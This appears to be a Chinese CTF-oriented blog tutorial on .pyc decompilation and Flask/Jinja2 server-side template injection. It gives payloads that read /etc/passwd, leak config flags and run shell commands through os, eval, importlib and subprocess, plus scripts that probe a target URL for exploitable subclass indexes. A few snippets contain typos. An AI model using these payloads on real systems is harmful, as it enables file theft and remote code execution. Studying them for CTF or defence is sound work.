WEB攻防-Python-PYC 反编译&CTF 与 CMS-SSTI 模版注入

反编译pyc字节码文件

pyc文件是py文件编译后生成的字节码文件(byte code),pyc文件经过python解释器最终会生成机器码运行。因此pyc文件是可以跨平台部署的,类似Java的.class文件,一般py文件改变后,都会重新生成pyc文件。
真题附件:http://pan.baidu.com/s/1jGpB8DS
反编译平台:
https://tool.lu/pyc/ 
http://tools.bugscaner.com/decompyle/
反编译工具:https://github.com/wibiti/uncompyle2
一般在CTF上,真实上很难遇到。类似.class文件等,PHP可以直接打包,但是.net和.class,.pyc需要解密才能得到源代码。


在学习SSTI漏洞利用之前,先了解flask框架与魔术方法的使用

Flask框架基础

 装饰器@route路由

使用route()装饰器告诉Flask 什么样的URL能触发函数。一个路由绑定一个函数。

from flask import flask 
app = Flask(__name__)
@app.route('/')
def test()
   return 123

@app.route('/index/')
def hello_word():
    return 'hello word'

if __name__ == '__main__':
    app.run(port=5000)


#结果:
#访问 http://127.0.0.1:5000/会返回123,但是 访问http://127.0.0.1:5000/index则会返回hello word

@app.route('/')的时候,在之前需要定义app = Flask(__name__)不然会报错,因为这个装饰器依赖于 Flask 应用实例,Flask(__name__)用于创建一个新的 Flask web 应用实例

是一个带有动态部分的 URL 路由。在这个例子中,<username> 是一个变量部分,它允许 URL 匹配任何包含该位置参数的字符串。

from flask import Flask  
  
app = Flask(__name__)  
  
@app.route("/<username>")  
def hello_user(username):  
    return "user:%s" % username  
  
if __name__ == "__main__":  
    app.run(debug=True)

渲染模版方法与Jinja2 模板引擎

render_template() 是用来渲染一个指定的文件的。

render_template_string则是用来渲染一个字符串的。

通过这两个函数将需要渲染的值传入到模板中

假设我们现在有一个index.html的模板

<html>
  <head>
    <title>{{title}}</title>
  </head>
 <body>
      <h1>Hello, {{name}}!</h1>
  </body>
</html>

使用render_template() / render_template_string()渲染时,只需传入title和name两个参数即可

from flask import Flask, request,render_template,render_template_string
app = Flask(__name__)
@app.route('/')   
def index():
   return render_template("index.html",title='Home',name='user')
if __name__ == '__main__':
    app.run(port=5000)

注意上面代码我们手动传值的写死了的,所以他是安全的,但是如果,我们把传值的机会给用户,下面代码通过request.args.get('id')接收用户输入的id值传入到模版中渲染,并且直接使用 Python 的字符串格式化来处理id

from flask import Flask, request,render_template,render_template_string
@app.route('/test')
def test():
    id = request.args.get('id')
    html = '''
    <h1>%s</h1>
    '''%(id)
    return render_template_string(html)
if __name__ == '__main__':
    app.run(port=5000)

 而这时假设用户通过id传入一个恶意代码,就可能造成代码执行等问题,如id=<script>alert(111);</script>会把传入的js脚本执行

将上面代码稍微改动,使用Jinja2 模板引擎默认会对变量进行 HTML 转义,以防止跨站脚本攻击(XSS)。这意味着如果变量中包含 HTML 标签或特殊字符,它们将被转换为相应的 HTML 实体,从而不会在浏览器中作为 HTML 代码执行。

语法:

{{ some_variable|safe }}

some_variable 的内容将不会被转义,而是直接输出为 HTML。但务必谨慎使用 |safe 过滤器,因为它会使你的应用程序更容易受到 XSS 攻击。只有在你完全信任该变量的内容时,才应该使用它。

{{ some_variable|escape }}

escape 过滤器用于显式地对变量进行转义,默认选项

例如,如果你有一个包含 <> 字符的变量,Jinja2 会将这些字符转换为 &lt;&gt; 实体。

@app.route('/test/')
def test():
    code = request.args.get('id')
    return render_template_string('<h1>{{ code }}</h1>',code=code)

继承关系与魔法方法

__class__  #查看当前类型的所属对象

__base__  #沿着父子类关系往上走一个

__bases__  #查看该类的所有直接父类

__mro__  #查找当前类对象的所有继承类

__subclasses__()  #查找父类下的所以子类

__init__  #查看类是否已经加载这模块到内存中,如果出现wrapper字眼,说明没有

__globals__  #返回当前对象的全部全局变量,有哪些可用的方法函数等

示例:

class A:
    pass


class B(A):
    pass


class C(A):
    pass


class D(B, C):
    pass

通过继承关系去执行到其他类可利用模块、函数等

我们都知道,object是所有类的基类,那么假设我们可以获取object的所有子类,就可以利用其子类的方法

可以看到__subclasses__()返回一个列表,我们可以通过下标来找到是否存在一些可利用的模块和函数

简单了解什么是SSTI

SSTI,即服务器端模板注入(Server-Side Template Injection),是一种注入攻击,漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,没有严格控制对用户的输入,使用了危险的模板,导致执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。

而flask是基于python开发的一种web服务器,那么也就意味着如果用户可以和flask进行交互的话,就可以执行python的代码,比如eval,system,file,os等

检查是否存在SSTI漏洞

-输入的数据会被浏览器利用当前脚本语言调用解析执行

判断SSTI类型

有响应,正常执行

无响应,无法执行

SSTI常用注入模块利用

文件读取

查找子类的可利用模块名

_frozen_importlib_external.FileLoader

<class '_frozen_importlib_external.FileLoader'>

 利用python脚本循环匹配子类,代码原理遍历查找__subclasses__()函数找出的所有子类,匹配到就返回i,i就是下标

import requests


url = input('输入URL:')

for i in range(500):
    data = {"注入变量名": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    try:
        response = requests.post(url, data=data)

        if response.status_code == 200:
            if '_frozen_importlib_external.FileLoader' in response.text:
                print(i)

    except:
        pass

FileLoader的利用

["get_data"](0,"/etc/passwd")

调用get_data方法,传入参数0和文件路径

假设python脚本获取到下标为79,继续往下构造playload

{{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

前半段找出_frozen_importlib_external.FileLoader模块,后半段利用该模块下的函数读文件

在CTF中有一些会把FLAG放在配置文件里,通过读取配置文件获取FLAG

{{config}}

{{url_for.__globals__['current_app'].config.FLAG}}

{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

内建函数eval执行命令

eval会把传进的值当做python代码执行,__builtins__包含了 Python 解释器启动时自动导入的所有内置函数和异常

通过__builtins__查找内建函数,比如abs(), len(), open(), range() 等都是 __builtins__ 模块的一部分,同样是通过脚本遍历找到存在 __builtins__ 模块并存在eval函数

import requests


url = input('输入URL:')

for i in range(500):
    data = {"注入变量名": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"}
    try:
        response = requests.post(url, data=data)

        if response.status_code == 200:
            if 'eval' in response.text:
                print(i)

    except:
        pass

假设python脚本获取到下标为79,继续往下构造playload,导入os模块执行文件读取

 {{().__class__.__base__.__subclasses__()[79].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /ect/passwd").read()')}}

popen()执行一个shell以运行命令来开启一个进程,执行cat /etc/passwd(system模块没有回显)

OS模块执行命令

在其他函数模块中直接调用OS模块

通过config,调用OS

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

通过url_for,调用OS

{{url_for.__globals__.os.popen('whoami').read()}}

在已经加载OS模块的子类里直接调用OS模块

{{''.__class__.__bases__[0].__subclasses__[199].__init__.__globals__['os'].popen("whoami").read()}}

通过{{self.__dict__.TemplateReference__context.keys()}}查找Flask内置函数和内置对象,根据内置函数和内置对象直接使用.__globals__查看是否存在os,如{{lipsum.__globals}}

通过python脚本查找子类下是否存在os.py

import requests


url = input('输入URL:')

for i in range(500):
    data = {"注入变量名": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
    try:
        response = requests.post(url, data=data)

        if response.status_code == 200:
            if 'os.py' in response.text:
                print(i)

    except:
        pass

importlib类执行命令

可以加载第三方库,使用load_module加载os(用的不多)

python脚步查找_frozen_importlib.Builtinlmporter

import requests


url = input('输入URL:')

for i in range(500):
    data = {"注入变量名": "{{().__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"}
    try:
        response = requests.post(url, data=data)

        if response.status_code == 200:
            if '_frozen_importlib.Builtinlmporter' in response.text:
                print(i)

    except:
        pass

找到模块下标后,假设是69,继续构建playload

{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("whoami").read()}}

linecache函数执行命令

linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以可以利用这个linecache函数去执行命令

{{[].__class__.__base__.__subclasses__()[69].__init__.__globals__["linecache"]["os"].popen("whoami").read()}}

python脚步类似

subprocess.Popen类执行命令

从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值

subprocess意在替代其他几个老的模块或者函数,比如os.system、os.popen等函数

python脚本查找subprocess.Popen

import requests


url = input('输入URL:')

for i in range(500):
    data = {"注入变量名": "{{().__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"}
    try:
        response = requests.post(url, data=data)

        if response.status_code == 200:
            if 'subprocess.Popen' in response.text:
                print(i)

    except:
        pass

获取到下标后,playload的构造和上面的有点不一样

{{().__class__.__bases__[0].__subclasses__()[155]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-06-05 22:10:06       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-06-05 22:10:06       106 阅读
  3. 在Django里面运行非项目文件

    2024-06-05 22:10:06       87 阅读
  4. Python语言-面向对象

    2024-06-05 22:10:06       96 阅读

热门阅读

  1. 洛谷P2179 [NOI2012] 骑行川藏

    2024-06-05 22:10:06       29 阅读
  2. 【ARMv7-A】——CP15 协处理器

    2024-06-05 22:10:06       25 阅读
  3. debian 将pdf 转换为jpg图片

    2024-06-05 22:10:06       31 阅读
  4. leetcode5 最长回文子串

    2024-06-05 22:10:06       28 阅读
  5. 网络编程——多进程的服务器

    2024-06-05 22:10:06       23 阅读
  6. KMP算法(题目)

    2024-06-05 22:10:06       37 阅读
  7. Flink窗口理论到实践

    2024-06-05 22:10:06       25 阅读
  8. Git多人协作场景的使用

    2024-06-05 22:10:06       28 阅读
  9. 数仓建模—指标体系分类分级和评价管理

    2024-06-05 22:10:06       26 阅读